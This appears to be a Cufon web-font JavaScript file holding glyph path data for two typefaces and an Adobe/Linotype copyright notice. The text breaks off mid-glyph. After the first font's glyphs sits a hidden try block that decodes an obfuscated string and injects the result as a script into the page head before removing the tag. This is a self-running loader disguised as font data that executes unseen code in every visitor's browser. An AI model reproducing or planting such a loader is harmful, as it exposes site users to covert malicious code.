1r103,-196v-14,12,-45,12,-55,-4v9,49,-5,102,-54,101v-38,-1,-56,-32,-56,-73v0,-42,18,-71,56,-73v29,-2,56,36,85,38v31,1,42,-38,63,-45v6,0,14,3,10,10","w":304},{"d":"7,-12v4,-28,53,6,53,-32r0,-154v5,-38,-53,-2,-53,-31v0,-27,42,-8,65,-11v67,-7,148,-11,148,59v0,35,-20,54,-51,58v40,1,37,37,37,79v0,15,2,22,15,22v24,1,14,-37,16,-62v0,-9,3,-14,11,-14v21,2,12,36,12,56v0,31,-11,43,-42,44v-42,1,-40,-34,-40,-75v0,-40,-19,-34,-67,-39v-37,-4,-16,41,-21,68v-6,38,49,4,53,32v-14,31,-83,1,-121,14v-10,-1,-14,-4,-15,-14xm128,-219v-29,1,-36,-4,-38,18v5,28,-16,70,23,66v49,-5,78,-1,78,-41v0,-35,-23,-44,-63,-43","w":267,"k":{"y":6,"u":6,"Y":13,"W":15,"V":13,"T":6,"C":6,"A":-20}},{"d":"7,-12v0,-28,53,6,53,-32r0,-154v4,-36,-53,-3,-53,-31v0,-27,41,-6,63,-11v24,4,74,-15,74,10v0,30,-53,-6,-53,32r0,150v-6,37,34,22,62,25v40,4,36,-29,33,-62v-1,-8,6,-16,14,-15v26,8,3,54,12,84v1,27,-33,15,-55,16r-134,2v-11,0,-16,-3,-16,-14","w":218,"k":{"y":13,"u":11,"a":-13,"Y":33,"W":13,"V":20,"U":13,"T":6,"A":-27,"-":-7}},{"d":"3,-9v4,-26,53,5,42,-36r0,-142v3,-32,-5,-32,-31,-32v-8,1,-12,-2,-11,-10v2,-21,35,-5,57,-11v11,-1,12,3,12,14r0,134v17,-22,48,-39,58,-64v-14,1,-43,3,-30,-19v19,-6,63,5,88,-3v9,0,14,3,15,11v-4,22,-38,1,-50,22r-33,34v21,29,39,62,63,88v11,7,38,-5,37,15v-11,23,-58,-1,-88,10v-8,1,-12,-2,-11,-10v-6,-22,32,-3,25,-20r-46,-64v-11,14,-32,18,-28,47v-8,36,30,12,32,36v2,21,-27,6,-44,8v-19,-2,-53,13,-57,-8","w":223,"k":{"u":6,"a":6}},{"d":"180,64r0,21r-180,0r0,-21r180,0","w":180},{"d":"180,-192v-34,33,-79,-13,-107,-21v-28,0,-22,35,-19,60v0,9,-4,16,-13,16v-24,-1,-11,-35,-11,-53v0,-18,-12,-53,8,-53v12,0,10,15,10,27v5,-15,17,-23,35,-24v37,-2,65,58,98,29v-9,-3,-15,-3,-15,-14v1,-10,7,-17,18,-17v16,1,22,16,22,34v-1,70,-96,75,-87,159v1,21,8,54,-16,54v-34,0,-18,-62,-12,-86v12,-49,64,-73,89,-111"},{"d":"215,-164v-7,23,-44,-5,-47,29v-20,45,-33,96,-57,136v-11,6,-26,2,-30,-9r-51,-129v-3,-30,-39,-4,-46,-27v11,-27,63,2,94,-12v7,0,11,5,12,11v2,25,-43,-4,-32,26r41,113r43,-120v-1,-18,-35,3,-33,-19v1,-19,29,-7,44,-7v21,1,57,-15,62,8","w":199,"k":{".":28,",":28}},{"d":"7,-12v5,-28,53,7,53,-35r0,-151v4,-36,-50,-3,-53,-31v7,-27,53,-10,86,-11r113,-2v32,5,8,56,17,87v0,9,-4,15,-12,15v-20,0,-14,-27,-12,-45v5,-46,-52,-27,-89,-31v-31,-3,-17,39,-20,64v1,11,4,15,16,15v36,2,40,-9,38,-42v0,-7,4,-15,12,-14v24,15,2,69,11,106v5,22,-23,29,-23,9v0,-35,0,-45,-39,-43v-29,1,-11,49,-15,73v-7,42,47,21,78,25v40,6,36,-29,33,-62v-1,-8,6,-16,14,-15v26,8,3,54,12,84v1,26,-31,15,-55,16r-149,2v-11,0,-15,-3,-16,-14","w":252},{"d":"127,-218v-50,2,-75,40,-73,95v12,-21,37,-34,69,-34v51,0,85,30,85,81v0,49,-40,82,-91,81v-66,-1,-96,-50,-96,-121v0,-73,37,-127,107,-127v36,0,73,19,74,50v1,14,-11,25,-25,25v-20,0,-22,-27,-10,-34v-2,-9,-25,-16,-40,-16xm119,-20v38,0,59,-20,59,-56v0,-36,-22,-56,-59,-56v-37,0,-59,21,-59,56v0,36,21,56,59,56"},{"d":"59,5v-12,0,-23,-9,-22,-22v0,-12,10,-21,22,-21v12,0,21,9,21,21v0,12,-9,22,-21,22xm59,-111v-12,0,-22,-10,-22,-22v0,-12,9,-23,22,-22v11,0,21,10,21,22v0,12,-10,22,-21,22","w":117},{"d":"255,-243v18,-2,21,27,4,27v-21,0,-32,1,-42,16r-70,109v0,36,-10,81,40,67v12,-3,17,16,9,23v-26,6,-84,-5,-117,3v-10,0,-15,-4,-15,-14v3,-27,53,7,53,-31r0,-48v-28,-40,-51,-87,-82,-123v-14,-8,-42,6,-42,-15v13,-32,74,2,111,-14v9,1,18,3,17,14v6,27,-59,-3,-40,28r51,85r55,-94v-2,-18,-60,7,-40,-29v12,-9,33,1,51,0","w":264,"k":{"u":33,"o":38,"i":13,"e":38,"a":31,"O":10,"C":13,"A":16,";":38,":":38,".":48,"-":43,",":48}},{"d":"87,-252r0,97r-21,0r0,-97r21,0xm37,-252r0,97r-20,0r0,-97r20,0","w":103},{"d":"333,-230v-4,28,-46,-4,-45,34v-17,64,-26,138,-49,196v-15,14,-38,0,-37,-19r-40,-183r-40,183v-1,21,-23,33,-37,19v-26,-61,-30,-150,-55,-214v-10,-10,-39,6,-39,-16v15,-29,72,-1,111,-13v10,0,13,5,14,13v1,32,-58,-12,-48,37r31,156v17,-66,26,-140,49,-200v16,-14,37,0,37,20r40,180r33,-170v1,-26,-51,6,-50,-23v1,-22,35,-10,53,-10v24,0,66,-14,72,10","w":324,"k":{"y":20,"u":15,"r":16,"o":20,"i":8,"e":20,"a":24,"A":16,";":21,":":21,".":44,"-":21,",":44}},{"d":"37,-252r0,97r-20,0r0,-97r20,0","w":53},{"d":"160,-215r0,97r95,0r0,21r-95,0r0,97r-20,0r0,-97r-95,0r0,-21r95,0r0,-97r20,0","w":299},{"d":"82,-10v2,-28,58,4,51,-32r0,-30r-99,0v-25,2,-29,-15,-16,-31r93,-116v10,-24,52,-33,52,4r0,118v19,2,51,-7,52,12v0,21,-33,10,-52,13v-1,30,-5,60,37,49v8,0,12,5,13,11v-4,24,-46,8,-69,11v-21,-2,-57,11,-62,-9xm133,-97r0,-112r-90,112r90,0"},{"d":"2,-9v4,-27,53,6,42,-36r0,-109v-15,-2,-42,8,-42,-9v0,-17,26,-9,42,-10v-2,-44,18,-67,59,-68v24,0,45,11,45,33v0,10,-6,17,-16,17v-27,3,-3,-29,-29,-29v-26,0,-36,20,-32,47v16,1,43,-7,43,10v0,18,-27,7,-42,9r2,130v6,11,41,-7,40,15v-2,23,-39,3,-59,8v-19,-3,-51,13,-53,-8","w":120,"k":{"t":-27}},{"w":113},{"d":"13,21v1,13,-18,17,-20,6r86,-265v11,-7,17,3,13,15","w":98},{"d":"7,-12v5,-29,53,7,53,-34r0,-152v4,-36,-51,-3,-53,-31v8,-26,57,-10,86,-11r113,-2v32,5,8,56,17,87v0,9,-4,15,-12,15v-20,0,-14,-27,-12,-45v5,-46,-51,-27,-88,-31v-32,-4,-16,39,-20,64v-2,21,26,11,42,13v22,-2,-1,-53,23,-54v24,15,2,69,11,106v5,22,-22,29,-23,9v-1,-22,4,-44,-19,-42v-15,1,-36,-6,-34,13v4,39,-16,99,42,82v7,1,14,5,14,13v-3,27,-47,8,-70,11v-23,-5,-69,17,-70,-11","w":235,"k":{"y":6,"u":20,"r":13,"o":20,"i":13,"e":20,"a":20,"A":13,";":28,":":28,".":71,"-":24,",":71}},{"d":"139,-230v-1,30,-48,-6,-48,32r0,58r117,0v-4,-34,16,-91,-35,-76v-8,-1,-12,-6,-13,-14v16,-29,80,0,118,-13v9,1,15,4,15,14v-2,28,-53,-6,-53,31r0,154v-5,37,49,4,53,32v-3,26,-42,10,-63,10v-24,0,-64,14,-70,-10v2,-28,57,7,48,-33r0,-69r-117,0r0,70v-6,38,47,3,48,33v-6,24,-46,9,-69,9v-22,0,-60,15,-63,-10v3,-28,53,6,53,-32r0,-154v4,-36,-53,-3,-53,-31v0,-27,41,-6,63,-11v23,3,65,-14,69,10","w":299},{"d":"57,6v-12,0,-22,-10,-22,-22v0,-12,9,-23,22,-22v11,0,21,10,21,22v0,12,-10,22,-21,22xm57,-61v-10,-1,-12,-4,-12,-16r-6,-148v0,-11,6,-21,18,-20v11,0,17,10,17,22r-5,146v0,11,-2,16,-12,16","w":113},{"d":"255,-84r0,21r-210,0r0,-21r210,0xm255,-151r0,20r-210,0r0,-20r210,0","w":299},{"d":"10,-12v3,-28,53,7,53,-32r0,-154v5,-37,-49,-3,-53,-31v2,-28,45,-5,70,-11v24,5,68,-16,68,11v0,28,-53,-6,-53,31r0,154v-7,42,66,-2,49,42v-24,9,-86,-5,-119,4v-9,-1,-16,-4,-15,-14","w":158},{"d":"215,1v-17,0,-12,-17,-13,-32v-15,23,-41,36,-77,36v-70,0,-110,-51,-110,-125v0,-75,40,-126,112,-126v33,-1,56,11,71,29v0,-13,-2,-29,11,-26v27,5,1,55,12,87v1,18,-26,16,-26,2v0,-45,-24,-68,-66,-69v-54,-1,-80,44,-80,101v0,58,23,101,76,102v43,0,69,-22,69,-65v0,-37,-54,-1,-57,-31v5,-23,49,-5,72,-9v19,2,53,-11,55,9v2,13,-9,14,-22,12v-33,2,-12,62,-14,91v-1,7,-5,14,-13,14","w":265,"k":{"Y":6,"W":6,"T":6,"-":-8}},{"d":"91,-21v82,0,50,-105,57,-177v4,-36,-50,-3,-50,-31v0,-28,42,-6,66,-11v23,5,64,-17,64,11v0,28,-48,-6,-48,31r0,107v1,59,-33,97,-90,97v-46,0,-82,-28,-82,-73v-1,-28,23,-53,50,-53v18,0,33,12,33,30v0,12,-6,22,-19,21v-16,3,-18,-17,-14,-26v-14,0,-22,13,-22,27v0,27,25,47,55,47","w":233},{"d":"110,4v-73,5,-71,-63,-69,-134v11,-39,-36,-11,-41,-35v3,-22,36,-3,58,-11v13,0,10,7,10,22v3,58,-16,136,46,136v54,0,55,-54,54,-112v11,-38,-34,-11,-38,-35v2,-22,35,-3,55,-11v12,0,10,7,10,22r0,96v0,31,-1,39,29,37v8,-1,12,3,12,10v0,21,-31,8,-54,12v-14,2,-11,-15,-11,-28v-17,19,-30,30,-61,31","w":238},{"d":"140,-240v25,3,64,-10,64,17v1,5,-10,19,-15,26r-141,173r95,0v42,5,37,-30,33,-61v0,-7,7,-16,15,-15v26,8,3,54,12,84v1,25,-33,16,-55,16r-113,1v-29,2,-23,-30,-11,-45r141,-172v-43,7,-122,-22,-118,31v1,18,8,45,-12,45v-26,-8,-3,-54,-12,-84v-1,-25,31,-16,55,-16r62,0","w":218},{"d":"18,-90v0,-9,4,-13,12,-13r64,0v8,0,11,4,11,13v0,8,-3,13,-11,13r-64,0v-8,0,-12,-4,-12,-13","w":118,"k":{"o":-7,"Y":28,"X":13,"W":20,"V":21,"T":13,"Q":-13,"O":-13,"J":-20,"G":-13,"C":-7,"A":6}},{"d":"135,-228v0,25,-44,-4,-44,30r0,74r96,-85v4,-5,-3,-9,-9,-8v-11,0,-30,4,-29,-11v2,-28,45,-7,70,-12v21,3,56,-13,56,11v0,24,-36,2,-48,19r-72,64r77,105v12,31,44,2,51,30v-5,23,-45,9,-67,9v-21,0,-59,15,-62,-10v-3,-28,64,5,40,-29r-62,-85r-41,36v2,31,-12,80,33,65v19,4,12,29,-6,27v-32,-4,-64,-4,-96,0v-10,-1,-15,-4,-15,-14v0,-28,53,6,53,-32r0,-154v4,-36,-53,-3,-53,-31v0,-25,41,-9,62,-11v23,4,66,-16,66,12","w":276,"k":{"y":20,"u":20,"o":6,"e":6,"a":6,"Y":13,"W":13,"U":20,"O":13,"C":13,"A":6,"-":11}},{"d":"100,-19v51,0,74,-40,73,-95v-12,21,-37,34,-70,34v-51,0,-85,-30,-85,-81v0,-50,40,-82,92,-81v65,1,96,47,96,118v0,74,-38,128,-107,129v-37,1,-75,-19,-77,-51v-2,-28,42,-36,44,-8v0,6,-4,13,-9,17v2,11,27,18,43,18xm108,-217v-37,0,-59,20,-59,56v0,36,22,56,59,56v37,0,58,-20,58,-56v0,-36,-21,-56,-58,-56"},{"d":"173,-102v0,17,-7,18,-23,18r-108,1v-9,65,87,90,104,29v5,-20,23,-19,26,-2v-7,37,-34,61,-78,62v-52,1,-81,-40,-81,-94v0,-53,31,-93,81,-93v47,0,79,31,79,79xm143,-107v6,-46,-54,-67,-83,-37v-9,9,-14,21,-16,37r99,0","w":184,"k":{"x":6}},{"d":"122,-245v29,0,52,11,66,27v-8,-24,20,-35,23,-13v-3,25,-5,56,0,79v0,11,-2,16,-13,16v-15,1,-13,-14,-13,-28v0,-33,-26,-58,-59,-57v-52,0,-78,44,-77,99v0,58,23,101,76,102v45,1,65,-28,68,-70v7,-15,26,-8,26,10v-1,53,-39,85,-94,85v-70,0,-110,-51,-110,-125v0,-71,39,-126,107,-125","w":231,"k":{"Y":13,"A":6,"-":-8}},{"d":"182,-98v36,88,-87,133,-140,81v2,11,0,23,-13,22v-21,-2,-10,-33,-10,-51v1,-21,-12,-59,11,-61v15,-1,13,17,13,32v0,33,27,54,61,54v43,0,69,-42,44,-72v-9,-12,-91,-26,-103,-34v-49,-34,-17,-126,51,-118v23,3,41,8,55,19v-4,-17,23,-22,23,-6v0,24,-2,48,0,73v0,11,-3,15,-12,16v-12,-2,-14,-11,-14,-26v0,-37,-21,-48,-53,-51v-38,-3,-60,42,-34,66v24,22,115,17,121,56","w":198},{"d":"2,-9v0,-28,53,6,42,-36r0,-137v1,-34,-1,-39,-32,-38v-9,1,-13,-2,-13,-10v4,-21,38,-6,60,-11v10,1,12,4,11,16r0,75v15,-17,30,-26,59,-28v73,-4,71,62,69,133v-10,41,41,10,41,36v0,22,-34,4,-52,8v-20,-4,-52,14,-55,-8v2,-26,49,5,39,-36v0,-53,8,-111,-46,-111v-55,0,-57,53,-55,111v-10,40,35,10,39,36v-2,22,-35,4,-55,8v-18,-3,-52,13,-52,-8","w":241},{"d":"152,-108v8,2,9,-5,7,-11r-29,-89r-33,96v9,9,38,2,55,4xm144,-11v0,-29,57,8,41,-35v-5,-14,-7,-35,-22,-40v-25,2,-57,-4,-77,3v-8,15,-14,33,-17,52v4,20,46,-5,46,20v0,23,-34,9,-52,11v-26,-3,-69,13,-76,-11v5,-26,49,3,53,-34r65,-175v3,-20,23,-29,39,-18v35,62,50,148,84,211v10,12,43,-7,42,16v-15,29,-73,2,-113,13v-10,0,-13,-4,-13,-13","w":257,"k":{"y":8,"w":13,"v":18,"u":6,"t":6,"q":6,"o":6,"e":6,"d":6,"c":6,"Y":16,"X":6,"W":16,"V":20,"U":13,"T":13,"Q":6,"O":6,"G":6,"C":6,"-":8}},{"d":"194,-256r91,98r-27,0r-78,-77r-78,77r-28,0r92,-98r28,0","w":360},{"d":"45,-10v2,-33,64,7,55,-37r0,-145v3,-25,-15,-25,-36,-22v-9,1,-14,-3,-14,-12v0,-24,45,-7,70,-12v21,-4,12,23,12,41r0,150v-3,27,19,24,41,22v9,-1,14,3,14,12v-2,27,-51,8,-73,12v-23,-3,-62,12,-69,-9"},{"d":"120,-220v-30,-1,-29,4,-30,33r0,136v1,32,5,29,39,29v62,0,89,-36,89,-100v-1,-71,-27,-97,-98,-98xm6,-10v2,-29,53,6,53,-35r0,-152v6,-39,-50,-3,-53,-32v3,-24,38,-9,62,-10r66,-3v77,1,115,42,115,121v1,75,-41,125,-114,123v-38,-1,-75,0,-112,0v-10,0,-17,-3,-17,-12","w":264,"k":{"Y":6,"W":6,"V":6,"A":6,"-":-11}}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+121-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("s^hu@tPTkloMsU>=jtZ!;^;o0bPuhtoM0bS!kl9`h*-}V]T3@^9@*KW=@tuTVKu3_yC8V*Z|0:*[|nUBKZ^y;SsfJP(GF9$:_*l0Vhk@[j)N,g3%6>t`YCQ{}OM78r!]Tub~iWw=-oD.0yiCjuh-GtjCSUr!NlJt;UPrJy6]@~JM:]--)BOUsUC*k%,!lU*$:^ONP~hZP%Ch0US0S!}Th>ruJBngJZ8796,gG_>y$`*kf_}Wh_P:kKZ)J_F3f`P8@^>TsU;3s$rCG:|}[Bu3f`|}@Bu8ftr>@tjTkUr`Gl;Mh3W`@y>8kyJo)~T=klVYV3W7k]T703,.(`j~ju8Ms:-YG]YMsu8Mj^>T@^*60UW%@u8MjlO-k^>tklj>V0S[ftP70UWuk!66fb6Mj^*]jUg}@bPgj^>7@3WY@~PT@tZOh$6Chto!sBOCG^8=s!OCslj@VuOC0*To[ZOC00TCsU6,")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":226,"face":{"font-family":"AmerType Md BT","font-weight":400,"font-stretch":"normal","units-per-em":"360","panose-1":"2 9 5 4 3 5 5 2 3 4","ascent":"274","descent":"-86","x-height":"6","cap-height":"2","bbox":"-31 -275 340 86.2137","underline-thickness":"20.2148","underline-position":"-23.0273","unicode-range":"U+0020-U+007E"}}));

/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 *  The digitally encoded machine readable software for producing the
 Typefaces
 * licensed to you is copyrighted (c) 1990 Adobe Systems.
 All Rights Reserved.
 * This software is the property of Adobe Systems
 Incorporated and its licensors,
 * and may not be reproduced, used, 
 displayed, modified, disclosed or transferred
 * without the express 
 written approval of Adobe.
 
 The digitally encoded
 * machine readable outline data for producing
 the Typefaces licensed to you is
 * copyrighted (c) 1981 Linotype AG
 and/or its subsidiaries. All Rights Reserved.
 * This data is the property of Linotype AG and/or its subsidiaries
 and may not be
 * reproduced, used, displayed, modified, disclosed or 
 transferred without the
 * express written approval of Linotype AG 
 and/or its subsidiaries.
 12
 * Helvetica* 47 Light Condensed 49472
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"79,-143r0,-92v-27,3,-41,21,-41,44v0,28,18,40,41,48xm95,-116r0,101v26,-3,44,-20,44,-51v0,-30,-20,-41,-44,-50xm79,4v-46,-3,-71,-30,-69,-81r23,0v-2,36,13,59,46,62r0,-106v-32,-9,-64,-22,-64,-68v0,-37,23,-63,64,-66r0,-25r16,0r0,25v42,3,61,27,61,69r-24,0v0,-28,-11,-46,-37,-49r0,98v33,11,67,21,67,68v0,45,-26,69,-67,73r0,30r-16,0r0,-30","w":172},{"d":"68,0r0,-238r-66,0r0,-19r156,0r0,19r-67,0r0,238r-23,0","w":159},{"d":"83,35v-11,-10,9,-21,13,-31v-50,-3,-78,-43,-78,-133v0,-92,29,-132,82,-132v52,0,74,37,74,79r-23,0v0,-35,-18,-60,-51,-60v-37,0,-59,30,-59,113v0,83,22,114,59,114v32,0,50,-28,53,-72r23,0v-3,54,-27,87,-67,91v-3,6,-12,12,-11,17v18,-7,41,5,40,22v-2,32,-47,36,-71,23r5,-11v13,9,49,6,46,-10v1,-14,-25,-16,-35,-10","w":186},{"d":"17,-72r0,-185r23,0r0,185v0,39,16,57,50,57v34,0,50,-18,50,-57r0,-185r23,0r0,185v0,54,-26,76,-73,76v-47,0,-73,-22,-73,-76xm53,-320r26,0r27,51r-17,0","w":180},{"d":"3,-194v0,-41,16,-61,47,-61v32,0,46,20,46,61v0,41,-14,62,-46,62v-31,0,-47,-21,-47,-62xm23,-194v0,33,12,46,27,46v15,0,27,-13,27,-46v0,-33,-12,-45,-27,-45v-15,0,-27,12,-27,45","w":99},{"d":"181,-39r0,-78r-164,0r0,-18r182,0r0,96r-18,0","w":216},{"d":"117,-63r22,0v-3,41,-26,67,-62,67v-40,0,-64,-28,-64,-100v0,-66,24,-99,66,-99v44,0,63,35,61,100r-104,0v-2,53,18,81,41,81v23,0,36,-16,40,-49xm36,-113r81,0v-1,-48,-13,-64,-40,-64v-27,0,-40,16,-41,64"},{"d":"28,-206r-19,0v0,-30,15,-49,49,-49v48,0,63,63,19,89v-18,11,-46,31,-48,49r75,0r0,16r-94,0v-7,-52,71,-66,74,-112v0,-18,-12,-26,-27,-26v-17,0,-28,12,-29,33","w":112},{"d":"119,-162v3,-7,0,-20,1,-29r19,0r0,177v0,53,-20,80,-63,80v-37,0,-57,-20,-57,-47r22,0v0,18,17,29,36,29v37,0,43,-40,40,-82v-7,23,-25,34,-45,34v-30,0,-59,-20,-59,-96v0,-66,19,-99,61,-99v21,0,38,11,45,33xm36,-98v0,61,15,80,41,80v26,0,40,-19,40,-80v0,-61,-14,-79,-40,-79v-26,0,-41,18,-41,79","w":159},{"d":"114,-63r22,0v-3,41,-26,67,-61,67v-40,0,-64,-28,-64,-100v0,-66,24,-99,66,-99v36,0,57,22,59,61r-22,0v-3,-30,-14,-43,-37,-43v-23,0,-43,14,-43,82v0,72,21,81,41,81v22,0,35,-16,39,-49","w":146},{"d":"23,-118v0,-11,9,-20,20,-20v11,0,20,9,20,20v0,11,-9,20,-20,20v-11,0,-20,-9,-20,-20","w":86},{"d":"56,-215r-21,0r34,-51r22,0r34,51r-21,0r-24,-36xm21,-47r0,-144r21,0r0,134v0,31,11,43,34,43v64,0,35,-114,41,-177r22,0r0,191r-19,0v-1,-8,2,-21,-1,-27v-22,46,-98,43,-98,-20","w":159},{"d":"58,2r-55,-193r23,0r43,165r39,-165r23,0r-56,206v-12,43,-25,50,-65,48r0,-18v32,7,41,-17,48,-43","w":133},{"d":"110,0r0,-66r-98,0r0,-21r98,-168r21,0r0,170r30,0r0,19r-30,0r0,66r-21,0xm31,-85r79,0r-1,-133","w":172},{"d":"75,-86v-56,5,29,172,-78,152r0,-18v22,0,36,4,35,-24v0,-43,-7,-116,25,-120v-33,-2,-25,-78,-25,-119v0,-28,-13,-24,-35,-24r0,-18v36,-3,57,10,57,43v0,35,-10,114,21,110r0,18","w":86},{"d":"58,2r-55,-193r23,0r43,165r39,-165r23,0r-56,206v-12,43,-25,50,-65,48r0,-18v32,7,41,-17,48,-43xm29,-222r0,-37r21,0r0,37r-21,0xm83,-222r0,-37r21,0r0,37r-21,0","w":133},{"d":"68,0r0,-103r-69,-154r24,0r57,128r56,-128r25,0r-70,154r0,103r-23,0xm91,-320r26,0r-36,51r-17,0","w":159},{"d":"60,35v-11,-10,9,-21,13,-31v-39,-1,-62,-29,-62,-100v0,-66,24,-99,66,-99v36,0,57,22,59,61r-22,0v-3,-30,-14,-43,-37,-43v-23,0,-43,14,-43,82v0,72,21,81,41,81v22,0,35,-16,39,-49r22,0v-3,36,-22,62,-50,67v-3,6,-12,12,-12,17v18,-7,41,5,40,22v-1,32,-46,36,-70,23r4,-11v13,8,50,6,47,-10v1,-14,-25,-16,-35,-10","w":146},{"d":"43,-238r0,107v51,1,93,3,94,-53v1,-55,-41,-56,-94,-54xm20,0r0,-257r70,0v50,0,70,29,70,73v0,40,-19,72,-78,72r-39,0r0,112r-23,0","w":172},{"d":"20,0r0,-257r128,0r0,19r-105,0r0,94r98,0r0,19r-98,0r0,106r108,0r0,19r-131,0xm49,-320r26,0r27,51r-17,0","w":159},{"d":"43,-187r0,106v51,1,94,3,94,-53v0,-56,-43,-55,-94,-53xm20,0r0,-257r23,0r0,50r48,0v48,0,69,30,69,73v0,40,-19,73,-78,73r-39,0r0,61r-23,0","w":172},{"d":"50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0xm53,-320r26,0r27,51r-17,0","w":180},{"d":"56,-43r79,-185v-54,-35,-96,-4,-94,99v0,39,5,68,15,86xm144,-214r-78,185v9,10,20,14,34,14v37,0,59,-31,59,-114v0,-40,-6,-67,-15,-85xm48,15r-13,-6r11,-28v-19,-21,-28,-57,-28,-110v0,-114,51,-154,125,-120r9,-23r14,5r-12,28v19,21,28,57,28,110v0,113,-50,156,-124,121","w":200},{"d":"32,-171r0,-86r22,0r0,86r-22,0","w":86},{"d":"132,-313r16,0v2,33,-36,45,-59,22v-13,-7,-19,4,-21,15r-16,0v0,-31,34,-46,57,-24v11,10,24,-1,23,-13xm18,-129v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,92,-29,133,-82,133v-53,0,-82,-41,-82,-133xm41,-129v0,83,22,114,59,114v37,0,59,-31,59,-114v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113","w":200},{"d":"19,63r0,-254r19,0v1,8,-2,21,1,27v7,-18,23,-31,47,-31v42,0,61,34,61,100v0,66,-19,99,-61,99v-25,1,-39,-15,-46,-33r0,92r-21,0xm83,-177v-37,0,-43,33,-43,82v0,71,20,81,42,81v22,0,42,-10,42,-81v0,-69,-20,-82,-41,-82","w":159},{"d":"23,-217r-18,0v0,-25,13,-38,43,-38v58,-2,34,52,39,97v0,8,3,11,11,10r0,14v-13,5,-32,3,-29,-18v-11,34,-73,21,-67,-14v-3,-29,30,-35,55,-41v10,-3,12,-5,12,-16v0,-11,-9,-16,-22,-16v-17,0,-24,9,-24,22xm40,-148v23,2,34,-25,28,-50v-11,12,-47,7,-47,30v0,11,8,20,19,20","w":99},{"d":"11,-96v0,-66,24,-99,66,-99v42,0,66,33,66,99v0,67,-24,100,-66,100v-42,0,-66,-33,-66,-100xm34,-96v0,61,19,82,43,82v24,0,43,-21,43,-82v0,-61,-19,-81,-43,-81v-24,0,-43,20,-43,81xm88,-266r26,0r-36,51r-17,0"},{"d":"55,-215r-22,0r35,-51r21,0r35,51r-22,0r-24,-36xm117,-63r22,0v-3,41,-26,67,-62,67v-40,0,-64,-28,-64,-100v0,-66,24,-99,66,-99v44,0,63,35,61,100r-104,0v-2,53,18,81,41,81v23,0,36,-16,40,-49xm36,-113r81,0v-1,-48,-13,-64,-40,-64v-27,0,-40,16,-41,64"},{"w":86},{"d":"0,66r0,-18r35,0r0,-287r-35,0r0,-18r57,0r0,323r-57,0","w":86},{"d":"71,-129r22,0v12,64,-57,79,-58,133v0,26,17,44,41,44v31,0,46,-21,46,-60r23,0v0,45,-22,78,-68,78v-66,1,-85,-75,-41,-119v19,-19,40,-38,35,-76xm70,-158r0,-37r24,0r0,37r-24,0"},{"d":"20,0r0,-125r-20,0r0,-19r20,0r0,-113r62,0v75,0,93,44,93,128v0,84,-18,129,-93,129r-62,0xm43,-144r58,0r0,19r-58,0r0,106v80,4,109,-6,109,-109v0,-103,-28,-115,-109,-110r0,94","w":193},{"d":"109,-258r16,0v1,22,-23,46,-45,29v-12,-9,-34,-17,-36,7r-16,0v1,-31,35,-46,58,-23v11,10,23,-2,23,-13xm11,-96v0,-66,24,-99,66,-99v42,0,66,33,66,99v0,67,-24,100,-66,100v-42,0,-66,-33,-66,-100xm34,-96v0,61,19,82,43,82v24,0,43,-21,43,-82v0,-61,-19,-81,-43,-81v-24,0,-43,20,-43,81"},{"d":"43,-173v1,-6,-4,-17,6,-16v39,4,42,-49,6,-50v-14,0,-27,10,-27,27r-19,0v0,-26,14,-43,46,-43v50,0,61,63,18,73v50,11,39,84,-18,84v-30,0,-47,-15,-48,-44r20,0v0,13,10,28,28,28v14,0,31,-10,31,-31v0,-21,-18,-30,-43,-28","w":112},{"d":"63,-269r-22,0r35,-51r21,0r35,51r-22,0r-24,-36xm20,0r0,-257r128,0r0,19r-105,0r0,94r98,0r0,19r-98,0r0,106r108,0r0,19r-131,0","w":159},{"d":"53,-215r-22,0r35,-51r21,0r35,51r-22,0r-23,-36xm11,-96v0,-66,24,-99,66,-99v42,0,66,33,66,99v0,67,-24,100,-66,100v-42,0,-66,-33,-66,-100xm34,-96v0,61,19,82,43,82v24,0,43,-21,43,-82v0,-61,-19,-81,-43,-81v-24,0,-43,20,-43,81"},{"d":"66,-269r-21,0r34,-51r22,0r34,51r-21,0r-24,-36xm50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0","w":180},{"d":"39,-134r-22,0v-11,-64,85,-84,102,-31v8,-19,25,-30,45,-30v43,0,58,32,58,100r-98,0v-2,48,13,81,37,81v21,0,38,-20,38,-49r22,0v2,74,-90,91,-108,28v-10,25,-27,39,-54,39v-33,0,-48,-21,-48,-54v0,-43,36,-53,73,-61v29,-6,23,-74,-11,-66v-23,0,-34,15,-34,43xm102,-103v-21,15,-68,12,-68,52v0,22,11,37,30,37v17,0,38,-13,38,-49r0,-40xm124,-113r75,0v0,-48,-15,-64,-37,-64v-22,0,-37,16,-38,64","w":233},{"d":"11,-96v0,-66,24,-99,66,-99v42,0,66,33,66,99v0,67,-24,100,-66,100v-42,0,-66,-33,-66,-100xm34,-96v0,61,19,82,43,82v24,0,43,-21,43,-82v0,-61,-19,-81,-43,-81v-24,0,-43,20,-43,81"},{"d":"204,0r0,-40r-67,0r0,-13r64,-101r21,0r0,101r20,0r0,13r-20,0r0,40r-18,0xm153,-53r51,0v-1,-25,2,-54,-1,-77xm32,11r163,-272r18,0r-163,272r-18,0xm52,-101r0,-115r-39,0r0,-13v29,0,41,-11,42,-26r16,0r0,154r-19,0","w":259},{"d":"70,-112v14,-4,70,26,77,24v12,0,20,-8,31,-26r13,13v-15,21,-26,31,-45,31v-16,4,-61,-30,-78,-24v-16,0,-24,13,-30,26r-13,-13v8,-15,21,-31,45,-31","w":216},{"d":"26,-171r0,-86r21,0r0,86r-21,0xm80,-171r0,-86r21,0r0